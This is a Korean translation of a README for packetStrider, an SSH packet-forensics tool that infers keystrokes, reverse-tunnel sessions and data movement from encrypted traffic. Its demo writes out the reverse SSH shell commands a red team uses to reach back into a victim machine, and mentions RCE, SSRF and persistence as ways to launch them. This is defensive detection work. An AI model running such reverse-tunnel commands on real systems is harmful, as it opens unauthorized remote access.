
SSH를 위한 네트워크 패킷 포렌식 도구

SSH용 packetStrider는 SSH 트래픽의 특성에 대한 귀중한 통찰력을 제공하고, 이전에는 어둠 속에 숨겨져 있던 정보의 황금 알갱이가 있는 SSH 네트워크 트래픽의 구석에 빛을 비추는 패킷 포렌식 도구입니다.
SSH는 분명히 암호화되어 있지만, 네트워크 트래픽 내에는 TTP, 의도, 성공 및 목표에 대한 행동 규모에 기여할 수 있는 귀중한 상황 정보가 여전히 존재합니다. 귀중한 컨텍스트를 호스트에서 사용할 수 없거나 삭제된 상황이 있을 수 있으므로 변경 불가능하고 수정할 수 없는 수동 네트워크 캡처는 추가 포렌식 컨텍스트를 제공합니다. "패킷은 거짓말을 하지 않습니다."
포렌식 컨텍스트와 별도로, packet strider 예측은 능동적인 방식으로도 사용될 수 있습니다. 예를 들어, 역방향 인증이 제공되기 전에도 터널링된 역방향 SSH 세션 시작 기능이 내부에서 예측되는 경우 포워드 연결을 차단/RST하는 데 사용할 수 있습니다.
Python3가 사용되었으며, 다음 모듈이 필요합니다(python2에서는 YMMV).
pip3 install pandas matplotlib pyshark
사용법:
python3 packetStrider-ssh.py -h
출력:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
pcap "forward_reverse.pcap"은 역방향 SSH 셸의 일반적인 TTP에서 가져온 것으로, 모든 레드 팀이 선호하는 방법입니다. 구체적으로 packet strider의 기능을 간단하게 강조하기 위해 다음 명령이 사용되었습니다:
피해자로부터의 포워드 연결
ssh [email protected] -R 31337:localhost:22로, 로컬 포트 31337을 바인딩하여 피해자 PC로의 역방향 SSH 연결을 준비합니다. 이 연결은 수동, RCE, SSRF 또는 일부 지속성 형태를 포함한 여러 방식으로 실행될 수 있습니다. 이 데모의 목적상 수동 표준 포워드 세션입니다.ls가 다음 순서로 입력됩니다: 'l' 'w' 'w' '백스페이스' '백스페이스' 's' 그런 다음 엔터. 전송된 유선 데이터의 총 크기(ls의 출력)는 인바운드이므로 침투로 분류됩니다.이제 공격자 머신(서버)에서 피해자에게 역방향 셸이 시작됩니다:
ssh victim@localhost -p 31337. 이 시점에서, 인증 프로세스가 시작되기도 전에, packet strider는 패킷 72에서 역방향 세션 SSH 시작을 식별했습니다.last가 키스트로크 형태로 실행됩니다: 'l' 'a' 's' 'r' 'delete' 't' 'enter'who가 키스트로크 형태로 실행됩니다: 'w' 'h' 'o' 'enter'exit가 키스트로크 형태로 실행됩니다: 'e' 'x' 'i' 't'마지막으로 포워드 세션을 종료하여 포워드 SSH 기능 탐지가 여전히 작동함을 보여줍니다.
exit이 활동의 네트워크 트래픽은 tcpdump.pcap에 저장되었으며, 이제 Packet Strider를 실행할 차례입니다.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

이 그래프는 주요 예측의 타임라인을 보여줍니다(이미지에 주석 처리됨)

이 그래프는 일부 윈도우 통계를 보여주며, 심층 분석 및 특징 실험에 유용합니다.

이 그래프는 단순한 히스토그램을 보여줍니다.

이 프로젝트는 개인적인 개념 증명으로, Python의 일부 데이터 과학 라이브러리를 연습하기 위한 방법으로 수행되었습니다. Coursera에서의 머신러닝 및 데이터 과학 학습, 특히 pandas 라이브러리와 컨볼루션 신경망(CNN)이 슬라이딩 윈도우를 사용하여 이미지 픽셀 집합을 'stride'하여 특정 특징을 감지하는 방식에서 큰 영감을 받았습니다.
Packet Strider는 전체 용량 모드에서 방대한 양의 'striding'을 수행합니다. 이는 pcap이 크거나 더 정확히는 pcap에 많은 패킷이 있는 경우 상당한 리소스 사용을 초래할 수 있습니다. 다음은 속도 향상 팁입니다. 이는 초기 실행 시 역방향 SSH 활동이 예측되었는지 확인하는 등에 특히 유용하며, 이후 원하는 경우 기능을 추가할 수 있습니다.
자신의 책임 하에 사용하십시오. 라이선스 조건을 참조하십시오.